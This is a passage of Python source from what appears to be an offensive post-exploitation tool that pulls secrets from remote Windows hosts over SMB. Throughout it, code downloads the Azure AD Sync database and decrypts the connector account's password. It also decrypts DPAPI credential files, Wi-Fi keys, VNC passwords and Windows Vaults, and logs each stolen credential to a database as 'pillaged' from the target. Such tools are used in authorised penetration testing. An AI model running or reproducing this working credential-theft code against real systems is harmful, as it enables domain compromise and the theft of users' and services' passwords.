dbpath = os . path . join ( os . getcwd ( ) , r " ADSync.mdf " )
output = subprocess . Popen ( [ " ADSyncQuery.exe " , dbpath ] , stdout = subprocess . PIPE ) . communicate ( ) [ 0 ]
enumtarget = output . split ( ' \n ' )
#####TEMP
# logging.info('Loading configuration data from %s on filesystem', self.__options.from_file)
# infile = codecs.open('adsync_export', 'r', codec)
# enumtarget = infile
######
for line in enumtarget :
try :
ltype , data = line . strip ( ) . split ( ' : ' )
except ValueError :
continue
ltype = ltype . replace ( u ' \ufeff ' , u ' ' )
if ltype . lower ( ) == ' record ' :
xmldata , crypteddata = data . split ( ' ; ' )
out [ ' cryptedrecords ' ] . append ( crypteddata )
out [ ' xmldata ' ] . append ( xmldata )
# print(f"record found : {xmldata}")
if ltype . lower ( ) == ' config ' :
instance , keyset_id , entropy = data . split ( ' ; ' )
out [ ' instance ' ] = instance
out [ ' keyset_id ' ] = keyset_id
out [ ' entropy ' ] = entropy
# if self.__options.from_file:
# infile.close()
# Check if all values are in the outdata
required = [ ' cryptedrecords ' , ' xmldata ' , ' instance ' , ' keyset_id ' , ' entropy ' ]
for option in required :
if not option in out :
logging . error (
' Missing data from database. Option %s could not be extracted. Check your database or output file. ' ,
option )
return None
return out
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception in Parsing database : Please manualy run ADSyncQuery.exe ADSync.mdf > adsync_export on a windows env with MSSQL support { bcolors . ENDC } " )
self . logging . debug ( ex )
def Get_AD_Connect ( self , user , localfile , data ) :
# Local DPAPI extracted data
info = " "
parts = data [ ' Target ' ] . decode ( ' utf-16le ' ) [ : - 1 ] . split ( ' _ ' )
localBlobdatas = {
' instanceid ' : parts [ 3 ] [ 1 : - 1 ] . lower ( ) ,
' keyset_id ' : parts [ 4 ] ,
' data ' : data [ ' Unknown3 ' ]
}
# print(localBlobdatas)
# ADConnect Database data
logging . debug ( f " [ { self . options . target_ip } ] { bcolors . OKBLUE } Trying to get ADConnect account { bcolors . ENDC } " )
try :
# Stop Service / Download DB / Start DB
myADSRemoteOps = ADSRemoteOperations ( smbConnection = self . smb , doKerberos = False )
myADSRemoteOps . gatherAdSyncMdb ( )
# files_to_dl=['Program Files\\Microsoft Azure AD Sync\\Data\\ADSync.mdf','Program Files\\Microsoft Azure AD Sync\\Data\\ADSync_log.ldf']
mdbdata = self . getMdbData ( )
if mdbdata is None :
logging . debug ( f " [ { self . options . target_ip } ] Could not extract required database information. Exiting " )
return
# print(mdbdata)
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception in ADSRemoteOperations 1 { bcolors . ENDC } " )
self . logging . debug ( ex )
result = localBlobdatas
if result is not None :
if result [ ' keyset_id ' ] != mdbdata [ ' keyset_id ' ] or result [ ' instanceid ' ] != mdbdata [ ' instance ' ] :
logging . debug ( ' Found keyset %s instance %s , but need keyset %s instance %s . Trying next ' ,
result [ ' keyset_id ' ] , result [ ' instanceid ' ] , mdbdata [ ' keyset_id ' ] , mdbdata [ ' instance ' ] )
else :
logging . debug ( ' Found correct encrypted keyset to decrypt data ' )
if result is None :
logging . debug ( ' Failed to find correct keyset data ' )
return
# cryptkeys = [self.__remoteOps.decryptDpapiBlobSystemkey(result['data'], self.dpapiSystem['MachineKey'],string_to_bin(mdbdata['entropy']))]
myoptions = copy . deepcopy ( self . options )
myoptions . file = None # "key_material.tmp" # BLOB to parse
myoptions . key = None
myoptions . masterkeys = None # user.masterkeys_file
mydpapi = DPAPI ( myoptions , self . logging )
guid = mydpapi . find_Blob_masterkey ( raw_data = result [ ' data ' ] )
self . logging . debug ( f " [ { self . options . target_ip } ] Looking for ADConnect masterkey : { guid } " )
if guid != None :
machine_user = user = self . GetUserByName ( ' MACHINE$ ' )
masterkey = self . get_masterkey ( user = machine_user , guid = guid , type = ' MACHINE ' )
if masterkey != None :
if masterkey [ ' status ' ] == ' decrypted ' :
mydpapi . options . key = masterkey [ ' key ' ]
# cred_data = mydpapi.decrypt_credential()
cryptkeys = [
mydpapi . decrypt_blob ( raw_data = result [ ' data ' ] , entropy = string_to_bin ( mdbdata [ ' entropy ' ] ) ) ]
try :
logging . debug ( f ' Decrypting encrypted AD Sync configuration data with { cryptkeys } ' )
for index , record in enumerate ( mdbdata [ ' cryptedrecords ' ] ) :
# Try decrypting with highest cryptkey record
self . logging . debug ( f " [ { self . options . target_ip } ] { index } - { record } " )
drecord = DumpSecrets . decrypt ( record , cryptkeys [ - 1 ] ) . replace ( ' \x00 ' , ' ' )
# print(drecord)
with open ( ' r %d _xml_data.xml ' % index , ' w ' ) as outfile :
data = base64 . b64decode ( mdbdata [ ' xmldata ' ] [ index ] ) . decode ( ' utf-16-le ' )
outfile . write ( data )
with open ( ' r %d _encrypted_data.xml ' % index , ' w ' ) as outfile :
outfile . write ( drecord )
ctree = ET . fromstring ( drecord )
dtree = ET . fromstring ( data )
if ' forest-login-user ' in data :
logging . debug ( ' Local AD credentials ' )
el = dtree . find ( " .//parameter[@name= ' forest-login-domain ' ] " )
if el is not None :
logging . debug ( ' \t Domain: %s ' , el . text )
username = el . text
el = dtree . find ( " .//parameter[@name= ' forest-login-user ' ] " )
if el is not None :
username + = ' / ' + el . text
# logging.debug('\tUsername: %s', el.text)
else :
# Assume AAD config
logging . debug ( ' Azure AD credentials ' )
el = dtree . find ( " .//parameter[@name= ' UserName ' ] " )
if el is not None :
username = el . text
logging . debug ( ' \t Username: %s ' , el . text )
# Can be either lower or with capital P
fpw = None
el = ctree . find ( " .//attribute[@name= ' Password ' ] " )
if el is not None :
fpw = el . text
el = ctree . find ( " .//attribute[@name= ' password ' ] " )
if el is not None :
fpw = el . text
if fpw :
# fpw = fpw[:len(fpw)/2] + '...[REDACTED]'
logging . debug ( ' \t Password: %s ' , fpw )
info + = f " { username } : { fpw } \n "
self . logging . info (
f " [ { self . options . target_ip } ] [+] { bcolors . OKGREEN } ADCONNECT : { bcolors . OKGREEN } - { username } : { fpw } { bcolors . ENDC } " )
############PROCESSING DATA
self . db . add_credz ( credz_type = ' ADConnect ' ,
credz_username = username ,
credz_password = fpw ,
credz_target = ' ' ,
credz_path = ' ' , # user.files['ADCONNECT']['path'],
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = user . username )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception in Get_AD_Connect 2 { bcolors . ENDC } " )
self . logging . debug ( ex )
else :
self . logging . info (
f " [ { self . options . target_ip } ] [+] { bcolors . WARNING } Masterkey NOT Found for ADConnect { bcolors . ENDC } " )
return info
def Get_DPAPI_Protected_Files ( self ) :
self . logging . info (
f " [ { self . options . target_ip } ] { bcolors . OKBLUE } [+] Gathering DPAPI Secret blobs on the target { bcolors . ENDC } " )
blacklist = [ ' . ' , ' .. ' ]
# credentials ?
# Vaults ?
# Parse chrome
# autres navigateurs ?
# CredHistory
# Appdata Roaming ?
user_directories = [ ( " Users \\ {username} \\ AppData \\ Local \\ Microsoft \\ Credentials " , ' * ' , ' credential ' , ' DOMAIN ' ) ,
( " Windows \\ ServiceProfiles \\ ADSync \\ AppData \\ Local \\ Microsoft \\ Credentials " , ' * ' ,
' credential ' , ' MACHINE-USER ' ) ,
(
" Users \\ {username} \\ AppData \\ Roaming \\ Microsoft \\ Credentials " , ' * ' , ' credential ' , ' DOMAIN ' ) ,
(
" Users \\ {username} \\ AppData \\ Local \\ Microsoft \\ Remote Desktop Connection Manager \\ RDCMan.settings " ,
" *.rdg " , ' rdg ' , ' DOMAIN ' )
] # ADD Desktop for RDG
machine_directories = [ ( " Windows \\ System32 \\ config \\ systemprofile \\ AppData \\ Local \\ Microsoft \\ Credentials " , ' * ' ,
' credential ' , ' MACHINE ' ) ,
( " Windows \\ ServiceProfiles \\ ADSync \\ AppData \\ Local \\ Microsoft \\ Credentials " , ' * ' ,
' credential ' , ' MACHINE-USER ' ) ,
( " Users \\ ADSync \\ AppData \\ Local \\ Microsoft \\ Credentials " , ' * ' , ' credential ' ,
' MACHINE-USER ' ) ,
# Valider le %systemdir% selon la version de windows ?
]
for user in self . users :
if user . username == ' MACHINE$ ' :
directories_to_use = machine_directories
else :
directories_to_use = user_directories
# if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
for info in directories_to_use :
my_dir , my_mask , my_blob_type , my_user_type = info
tmp_pwd = my_dir . format (
username = user . username ) ##ntpath.join(ntpath.join('Users', user.username), my_dir)
self . logging . debug (
f " [ { self . options . target_ip } ] Looking for { user . username } files in { tmp_pwd } with mask { my_mask } " )
my_directory = self . myfileops . do_ls ( tmp_pwd , my_mask , display = False )
for infos in my_directory :
longname , is_directory = infos
self . logging . debug ( " ls returned file %s " % longname )
if longname not in blacklist and not is_directory :
try :
self . logging . debug (
f " [ { self . options . target_ip } ] [+] Found { bcolors . OKBLUE } { user . username } { bcolors . ENDC } encrypted files { longname } " )
# Downloading Blob file
localfile = self . myfileops . get_file ( ntpath . join ( tmp_pwd , longname ) )
user . files [ longname ] = { }
user . files [ longname ] [ ' type ' ] = my_blob_type
user . files [ longname ] [ ' status ' ] = ' encrypted '
user . files [ longname ] [ ' path ' ] = localfile
myoptions = copy . deepcopy ( self . options )
myoptions . file = localfile # Masterkeyfile to parse
myoptions . masterkeys = None # user.masterkeys_file
myoptions . key = None
mydpapi = DPAPI ( myoptions , self . logging )
guid = mydpapi . find_CredentialFile_masterkey ( )
self . logging . debug ( f " [ { self . options . target_ip } ] Looking for { longname } masterkey : { guid } " )
if guid != None :
masterkey = self . get_masterkey ( user = user , guid = guid , type = my_user_type )
if masterkey != None :
if masterkey [ ' status ' ] == ' decrypted ' :
mydpapi . options . key = masterkey [ ' key ' ]
cred_data = mydpapi . decrypt_credential ( )
if cred_data != None :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . OKGREEN } Decryption successfull of { bcolors . OKBLUE } { user . username } { bcolors . ENDC } Secret { longname } { bcolors . ENDC } " )
user . files [ longname ] [ ' status ' ] = ' decrypted '
user . files [ longname ] [ ' data ' ] = cred_data
self . process_decrypted_data ( user , user . files [
longname ] ) # cred_data,user,localfile,my_blob_type)
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting Blob for { localfile } with Masterkey { bcolors . ENDC } " )
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting Blob for { localfile } with Masterkey - Masterkey not decrypted { bcolors . ENDC } " )
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting Blob for { localfile } with Masterkey- cant get masterkey { guid } { bcolors . ENDC } " )
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting Blob for { localfile } with Masterkey - can t get the GUID of masterkey from blob file { bcolors . ENDC } " )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception decrypting Blob for { localfile } with Masterkey { bcolors . ENDC } " )
self . logging . debug ( ex )
return 1
def GetWifi ( self ) :
self . logging . info ( f " [ { self . options . target_ip } ] { bcolors . OKBLUE } [+] Gathering Wifi Keys { bcolors . ENDC } " )
blacklist = [ ' . ' , ' .. ' ]
machine_directories = [ ( " ProgramData \\ Microsoft \\ Wlansvc \\ Profiles \\ Interfaces " , ' *.xml ' ) ]
for info in machine_directories :
user = self . GetUserByName ( ' MACHINE$ ' )
my_dir , my_mask = info
# interface name
self . logging . debug ( f " [ { self . options . target_ip } ] [+] Looking for interfaces in { my_dir } " ) # No mask
my_directory = self . myfileops . do_ls ( my_dir , ' * ' , display = False )
for infos in my_directory :
longname , is_directory = infos
if longname not in blacklist and is_directory :
self . logging . debug ( f " [ { self . options . target_ip } ] [+] Got Wifi interface { longname } " )
tmp_pwd = ntpath . join ( my_dir , longname )
my_directory2 = self . myfileops . do_ls ( tmp_pwd , my_mask , display = False )
for infos2 in my_directory2 :
longname2 , is_directory2 = infos2
if longname2 not in blacklist and not is_directory2 :
self . logging . debug ( f " [ { self . options . target_ip } ] [+] Got wifi config file { longname2 } " )
# Downloading Blob file
localfile = self . myfileops . get_file ( ntpath . join ( tmp_pwd , longname2 ) )
user . files [ longname2 ] = { }
user . files [ longname2 ] [ ' type ' ] = ' wifi '
user . files [ longname2 ] [ ' status ' ] = ' encrypted '
user . files [ longname2 ] [ ' path ' ] = localfile
with open ( localfile , ' rb ' ) as f :
try :
file_data = f . read ( ) . replace ( b ' \x0a ' , b ' ' ) . replace ( b ' \x0d ' , b ' ' )
wifi_name = re . search ( b ' <name>([^<]+)</name> ' , file_data )
wifi_name = wifi_name . group ( 1 )
user . files [ longname2 ] [ ' wifi_name ' ] = wifi_name
key_material_re = re . search ( b ' <keyMaterial>([0-9A-F]+)</keyMaterial> ' , file_data )
if not key_material_re :
continue
key_material = key_material_re . group ( 1 )
# with open("key_material.tmp", "wb") as f:
# f.write(binascii.unhexlify(key_material))
except Exception as ex :
self . logging . error ( f " { bcolors . WARNING } Error in wifi parsing { bcolors . ENDC } " )
self . logging . debug ( ex )
try :
myoptions = copy . deepcopy ( self . options )
myoptions . file = None # "key_material.tmp" # BLOB to parse
myoptions . key = None
myoptions . masterkeys = None # user.masterkeys_file
mydpapi = DPAPI ( myoptions , self . logging )
guid = mydpapi . find_Blob_masterkey ( raw_data = binascii . unhexlify ( key_material ) )
self . logging . debug (
f " [ { self . options . target_ip } ] Looking for { longname2 } masterkey : { guid } " )
if guid != None :
masterkey = self . get_masterkey ( user = user , guid = guid , type = ' MACHINE ' )
if masterkey != None :
if masterkey [ ' status ' ] == ' decrypted ' :
mydpapi . options . key = masterkey [ ' key ' ]
# cred_data = mydpapi.decrypt_credential()
cred_data = mydpapi . decrypt_blob (
raw_data = binascii . unhexlify ( key_material ) )
if cred_data != None :
user . files [ longname2 ] [ ' status ' ] = ' decrypted '
user . files [ longname2 ] [ ' data ' ] = cred_data
user . files [ longname2 ] [ ' secret ' ] = cred_data
self . logging . info (
f " [ { self . options . target_ip } ] [+] { bcolors . OKGREEN } Wifi { bcolors . OKBLUE } { wifi_name } { bcolors . OKGREEN } - { cred_data } { bcolors . ENDC } " )
############PROCESSING DATA
self . db . add_credz ( credz_type = ' wifi ' ,
credz_username = wifi_name . decode ( ' utf-8 ' ) ,
credz_password = cred_data . decode ( ' utf-8 ' ) ,
credz_target = wifi_name . decode ( ' utf-8 ' ) ,
credz_path = user . files [ longname2 ] [ ' path ' ] ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = user . username )
# semf.process_decrypted_data(user.files[longname2])#cred_data, user, localfile, type='wifi', args=[wifi_name])
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting WIFI Blob for { localfile } with Masterkey - Masterkey not decrypted { bcolors . ENDC } " )
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting WIFI Blob for { localfile } with Masterkey- cant get masterkey { guid } { bcolors . ENDC } " )
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting WIFIBlob for { localfile } with Masterkey - can t get the GUID of masterkey from blob file { bcolors . ENDC } " )
except Exception as ex :
self . logging . error (
f " { bcolors . WARNING } Exception decrypting wifi credentials { bcolors . ENDC } " )
self . logging . debug ( ex )
return 1
def GetVNC ( self ) :
try :
self . logging . info ( f " [ { self . options . target_ip } ] { bcolors . OKBLUE } [+] Gathering VNC Passwords { bcolors . ENDC } " )
myvnc = Vnc ( self . myregops , self . myfileops , self . logging , self . options , self . db )
myvnc . vnc_from_filesystem ( )
myvnc . vnc_from_registry ( )
except Exception as ex :
self . logging . error ( f " { bcolors . WARNING } Exception IN VNC GATHERING { bcolors . ENDC } " )
self . logging . debug ( ex )
def GetVaults ( self ) :
self . logging . info ( f " [ { self . options . target_ip } ] { bcolors . OKBLUE } [+] Gathering Vaults { bcolors . ENDC } " )
blacklist = [ ' . ' , ' .. ' , ' UserProfileRoaming ' ]
# credentials ?
# Vaults ?
# Parse chrome
# autres navigateurs ?
# CredHistory
user_directories = [ ( " Users \\ {username} \\ AppData \\ Local \\ Microsoft \\ Vault " , ' * ' , ' vault ' , ' DOMAIN ' ) ]
machine_directories = [ ( " ProgramData \\ Microsoft \\ Vault " , ' * ' , ' vault ' , ' MACHINE ' ) ,
( " Windows \\ system32 \\ config \\ systemprofile \\ AppData \\ Local \\ Microsoft \\ Vault \\ " , ' * ' ,
' vault ' , ' MACHINE ' ) ] # Windows hello pincode
for user in self . users :
if user . username == ' MACHINE$ ' :
directories_to_use = machine_directories
else :
directories_to_use = user_directories
if len ( user . masterkeys_file ) > 0 : # Pas de masterkeys==pas de datas a recup
for info in directories_to_use :
my_dir , my_mask , my_blob_type , my_user_type = info
tmp_pwd = my_dir . format (
username = user . username ) # f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
self . logging . debug ( " Looking for %s Vaults in %s with mask %s " % ( user . username , tmp_pwd , my_mask ) )
my_directory = self . myfileops . do_ls ( tmp_pwd , my_mask , display = False )
for infos in my_directory :
longname , is_directory = infos
self . logging . debug ( " ls returned %s " % longname )
if longname not in blacklist and is_directory :
self . logging . debug ( " Got Vault Directory %s " % longname )
tmp_pwd2 = ntpath . join ( tmp_pwd , longname )
try :
# First get the Policy.vpol
local_vpol_file = self . myfileops . get_file ( ntpath . join ( tmp_pwd2 , " Policy.vpol " ) )
user . files [ longname ] = { }
user . files [ longname ] [ ' type ' ] = my_blob_type
user . files [ longname ] [ ' status ' ] = ' encrypted '
user . files [ longname ] [ ' UID ' ] = longname
user . files [ longname ] [ ' path ' ] = tmp_pwd2
user . files [ longname ] [ ' vpol_path ' ] = local_vpol_file
user . files [ longname ] [ ' vpol_status ' ] = ' encrypted '
user . files [ longname ] [ ' vsch ' ] = { }
user . files [ longname ] [ ' vcrd ' ] = { }
user . files [ longname ] [ ' data ' ] = ' '
# Decrypt the keys
myoptions = copy . deepcopy ( self . options )
myoptions . vcrd = None # Vault File to parse
myoptions . masterkeys = None
myoptions . vpol = local_vpol_file
myoptions . key = None
mydpapi = DPAPI ( myoptions , self . logging )
guid = mydpapi . find_Vault_Masterkey ( )
if guid != None :
masterkey = self . get_masterkey ( user = user , guid = guid , type = my_user_type )
if masterkey != None :
if masterkey [ ' status ' ] == ' decrypted ' :
mydpapi . options . key = masterkey [ ' key ' ]
keys = mydpapi . decrypt_vault ( )
if keys != None :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . OKGREEN } Vault Policy file Decryption successfull - { local_vpol_file } { bcolors . ENDC } " )
tmp_vaultkeys = [ ]
if keys [ ' Key1 ' ] [ ' Size ' ] > 0x24 :
tmp_vaultkeys . append (
' 0x %s ' % binascii . hexlify ( keys [ ' Key2 ' ] [ ' bKeyBlob ' ] ) )
tmp_vaultkeys . append (
' 0x %s ' % binascii . hexlify ( keys [ ' Key1 ' ] [ ' bKeyBlob ' ] ) )
else :
tmp_vaultkeys . append (
' 0x %s ' % binascii . hexlify (
keys [ ' Key2 ' ] [ ' bKeyBlob ' ] [ ' bKey ' ] ) . decode ( ' latin-1 ' ) )
tmp_vaultkeys . append (
' 0x %s ' % binascii . hexlify (
keys [ ' Key1 ' ] [ ' bKeyBlob ' ] [ ' bKey ' ] ) . decode ( ' latin-1 ' ) )
self . logging . debug (
f " [ { self . options . target_ip } ] Saving { len ( tmp_vaultkeys ) } Vault keys { bcolors . ENDC } " )
user . files [ longname ] [ ' vpol_status ' ] = ' decrypted '
user . files [ longname ] [ ' status ' ] = ' decrypted '
user . files [ longname ] [ ' data ' ] = tmp_vaultkeys
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting Policy.vpol { local_vpol_file } with Masterkey { bcolors . ENDC } " )
continue
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting Policy.vpol { local_vpol_file } with Masterkey - Masterkey not decrypted { bcolors . ENDC } " )
continue
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting Policy.vpol { local_vpol_file } with Masterkey- cant get masterkey { guid } { bcolors . ENDC } " )
continue
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting Policy.vpol { local_vpol_file } with Masterkey - can t get the GUID of masterkey from blob file { bcolors . ENDC } " )
continue
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception decrypting Policy.vpol { local_vpol_file } with Masterkey { bcolors . ENDC } " )
self . logging . debug ( ex )
continue
# Look for .vsch : Vault Schema file
# Then gets *.vcrd files
my_directory2 = self . myfileops . do_ls ( tmp_pwd2 , my_mask , display = False )
self . logging . debug (
f " [ { self . options . target_ip } ] Found { len ( my_directory2 ) } files in { tmp_pwd2 } " )
for infos2 in my_directory2 :
longname2 , is_directory2 = infos2
self . logging . debug ( " ls returned file %s " % longname2 )
if longname2 not in blacklist and not is_directory2 and not longname2 == " Policy.vpol " :
try :
# Downloading Blob file
localfile = self . myfileops . get_file ( ntpath . join ( tmp_pwd2 , longname2 ) )
if longname2 [ - 4 : ] == ' vsch ' : # PAS G2R2 pour le moment
user . files [ longname ] [ ' vsch ' ] [ localfile ] = { }
user . files [ longname ] [ ' vsch ' ] [ localfile ] [ ' status ' ] = ' encrypted '
user . files [ longname ] [ ' vsch ' ] [ localfile ] [ ' type ' ] = ' vsch '
user . files [ longname ] [ ' vsch ' ] [ localfile ] [ ' vault_name ' ] = longname2
user . files [ longname ] [ ' vsch ' ] [ localfile ] [ ' path ' ] = localfile
continue
elif longname2 [ - 4 : ] == ' vcrd ' :
user . files [ longname ] [ ' vcrd ' ] [ localfile ] = { }
user . files [ longname ] [ ' vcrd ' ] [ localfile ] [ ' status ' ] = ' encrypted '
user . files [ longname ] [ ' vcrd ' ] [ localfile ] [ ' type ' ] = ' vcrd '
user . files [ longname ] [ ' vcrd ' ] [ localfile ] [ ' vault_name ' ] = longname2
user . files [ longname ] [ ' vcrd ' ] [ localfile ] [ ' path ' ] = localfile
myoptions = copy . deepcopy ( self . options )
myoptions . vcrd = localfile # Vault File to parse
myoptions . vaultkeys = tmp_vaultkeys
myoptions . vpol = None
myoptions . key = None
mydpapi = DPAPI ( myoptions , self . logging )
vault_data , data_type = mydpapi . decrypt_vault ( )
if vault_data != None :
user . files [ longname ] [ ' vcrd ' ] [ localfile ] [ ' status ' ] = ' decrypted '
user . files [ longname ] [ ' vcrd ' ] [ localfile ] [ ' data ' ] = vault_data
user . files [ longname ] [ ' vcrd ' ] [ localfile ] [ ' vault_type ' ] = data_type
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . OKBLUE } { user . username } { bcolors . OKGREEN } Vault .vcrd Decryption successfull - { localfile } { bcolors . ENDC } " )
self . process_decrypted_vault ( user , user . files [ longname ] [ ' vcrd ' ] [
localfile ] ) # vault_data,user,localfile,my_blob_type,args=[longname2,data_type])
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception decrypting vcrd Vault with Masterkey - { longname2 } { bcolors . ENDC } " )
self . logging . debug ( ex )
return 1
def dump_to_file ( self , localfile_encrypted , localdata_decrypted ) :
self . logging . debug ( f " [ { self . options . target_ip } ] Dumping decrypted { localfile_encrypted } to file { bcolors . ENDC } " )
try :
localfile_decrypted = os . path . join ( os . path . split ( localfile_encrypted ) [ 0 ] ,
os . path . split ( localfile_encrypted ) [ 1 ] + " _decrypted " )
fh = open ( localfile_decrypted , ' wb ' )
fh . write ( f " { localdata_decrypted } " . encode ( ' utf-8 ' ) )
fh . close ( )
return 1
except Exception as ex :
self . logging . debug ( f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception dump_to_file { bcolors . ENDC } " )
self . logging . debug ( ex )
def process_decrypted_data ( self , user , secret_file ) : # data ,user ,localfile,blob_type,args=[]):
try :
self . logging . debug ( f " [ { self . options . target_ip } ] [+] process_decrypted_data of { secret_file } { bcolors . ENDC } " )
blob_type = secret_file [ ' type ' ]
localfile = secret_file [ ' path ' ]
data = secret_file [ ' data ' ]
if blob_type == ' rdg ' :
self . logging . debug ( " IT S A Remote Desktop Cred file " )
clear_data = self . dump_credential_blob ( data )
elif blob_type == ' credential ' :
if ' Domain:target=TERMSRV ' in data [ ' Target ' ] . decode ( ' utf-16le ' ) or ' LegacyGeneric:target=TERMSRV ' in \
data [ ' Target ' ] . decode ( ' utf-16le ' ) :
clear_data = self . dump_CREDENTIAL_TSE ( user , localfile , data )
elif ' Domain:target=msteams ' in data [ ' Target ' ] . decode ( ' utf-16le ' ) or ' LegacyGeneric:target=msteams ' in \
data [ ' Target ' ] . decode ( ' utf-16le ' ) :
self . logging . debug ( " IT S A MSTeam Credential! " )
clear_data = self . dump_CREDENTIAL_TSE ( user , localfile , data )
elif ' Domain:batch=TaskScheduler ' in data [ ' Target ' ] . decode (
' utf-16le ' ) or ' LegacyGeneric:target=msteams ' in data [ ' Target ' ] . decode ( ' utf-16le ' ) :
self . logging . debug ( " IT S A TaskScheduler Cred! " )
clear_data = self . dump_CREDENTIAL_TASKSCHEDULER ( user , localfile , data )
''' Domain:batch=TaskScheduler:Task: { 31368695-xxxxxxxxxxx}
Username : Domain \Administrateur
Unknown3 : @ & & & & & & &
'''
elif ' Domain:target=MicrosoftOffice16_Data:orgid ' in data [ ' Target ' ] . decode (
' utf-16le ' ) or ' LegacyGeneric:target=MicrosoftOffice16_Data:orgid ' in data [ ' Target ' ] . decode (
' utf-16le ' ) :
self . logging . debug ( " IT S A Office365 Cred! " )
clear_data = self . dump_CREDENTIAL_TSE ( user , localfile , data )
'''
[ CREDENTIAL ]
LastWritten : 2020 - 02 - 18 08 : 48 : 39
Flags : 48 ( CRED_FLAGS_REQUIRE_CONFIRMATION | CRED_FLAGS_WILDCARD_MATCH )
Persist : 0x3 ( CRED_PERSIST_ENTERPRISE )
Type : 0x1 ( CRED_PERSIST_SESSION )
Target : LegacyGeneric : target = MicrosoftOffice15_Data : SSPI : v . xxxxxxx @xxxxxx.com
Description :
Unknown :
Username :
Unknown3 : xxxxxxxxx
'''
elif ' WindowsLive:target=virtualapp/didlogical ' in data [ ' Target ' ] . decode ( ' utf-16le ' ) :
self . logging . debug ( " IT S A Windows Live service or application Cred! " )
clear_data = self . dump_credential_blob ( user , localfile , data )
# ADCONNECT
elif ' Microsoft_AzureADConnect_KeySet ' in data [ ' Target ' ] . decode ( ' utf-16le ' ) :
self . logging . debug ( f " { bcolors . WARNING } IT S A Microsoft_AzureADConnect_KeySet Cred! { bcolors . ENDC } " )
clear_data = self . Get_AD_Connect ( user , localfile , data )
elif ' LegacyGeneric:target= ' in data [ ' Target ' ] . decode ( ' utf-16le ' ) : # Autres Targets
self . logging . debug ( " Other legacy Credential " )
clear_data = self . dump_credential_blob ( user , localfile , data )
else :
self . logging . debug ( " Unknown Cred Target content - testing as Credential BLOB " )
clear_data = self . dump_credential_blob ( user , localfile , data )
# clear_data = ''
secret_file [ ' secret ' ] = clear_data
self . dump_to_file ( localfile , clear_data )
self . logsecret ( clear_data )
# TSE Account
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Except 2 process_decrypted_data ALL for { localfile } { bcolors . ENDC } " )
self . logging . debug ( ex )
def dump_credential_blob ( self , user , localfile , decrypted_blob ) :
# from impacket.ese import getUnixTime
try :
self . logging . debug ( " Dumping decrypted credential blob info to file " )
# self.logging.debug(decrypted_blob)
info = " \n "
info + = f " [CREDENTIAL] \n "
try :
info + = f " LastWritten : { datetime . utcfromtimestamp ( impacket . dpapi . getUnixTime ( decrypted_blob [ ' LastWritten ' ] ) ) } \n "
info + = f " Flags : { decrypted_blob [ ' Flags ' ] } ( { impacket . dpapi . getFlags ( impacket . dpapi . CREDENTIAL_FLAGS , decrypted_blob [ ' Flags ' ] ) } ) \n "
info + = f " Persist : 0x { decrypted_blob [ ' Persist ' ] } ( { impacket . dpapi . CREDENTIAL_PERSIST ( decrypted_blob [ ' Persist ' ] ) . name } ) \n "
info + = f " Type : 0x { decrypted_blob [ ' Type ' ] } ( { impacket . dpapi . CREDENTIAL_PERSIST ( decrypted_blob [ ' Type ' ] ) . name } ) \n "
self . logging . debug ( info )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception 1 decrypted_blob.attributes { bcolors . ENDC } " )
self . logging . debug ( ex )
info + = f " Target : { decrypted_blob [ ' Target ' ] . decode ( ' utf-16le ' ) } \n "
info + = f " Description : { decrypted_blob [ ' Description ' ] . decode ( ' utf-16le ' ) } \n "
info + = f " Unknown : { decrypted_blob [ ' Unknown ' ] . decode ( ' utf-16le ' ) } \n "
info + = f " Username : { decrypted_blob [ ' Username ' ] . decode ( ' utf-16le ' ) } \n "
try :
info + = f " Unknown3 : { decrypted_blob [ ' Unknown3 ' ] . decode ( ' utf-16le ' ) } \n "
password = f " { decrypted_blob [ ' Unknown3 ' ] . decode ( ' utf-16le ' ) } "
except UnicodeDecodeError :
info + = f " Unknown3. : { decrypted_blob [ ' Unknown3 ' ] . decode ( ' latin-1 ' ) } \n "
password = f " { decrypted_blob [ ' Unknown3 ' ] . decode ( ' latin-1 ' ) } "
# print()
if " WindowsLive:target=virtualapp " not in f " { decrypted_blob [ ' Target ' ] . decode ( ' utf-16le ' ) } " : # "WindowsLive:target=virtualapp/didlogical" On ne gere pas pour le moment// A voir pour rassembler le contenu en 1 nouveau blob ?
for entry in decrypted_blob . attributes :
try :
info + = f " KeyWord : { entry [ ' KeyWord ' ] . decode ( ' utf-16le ' ) } \n "
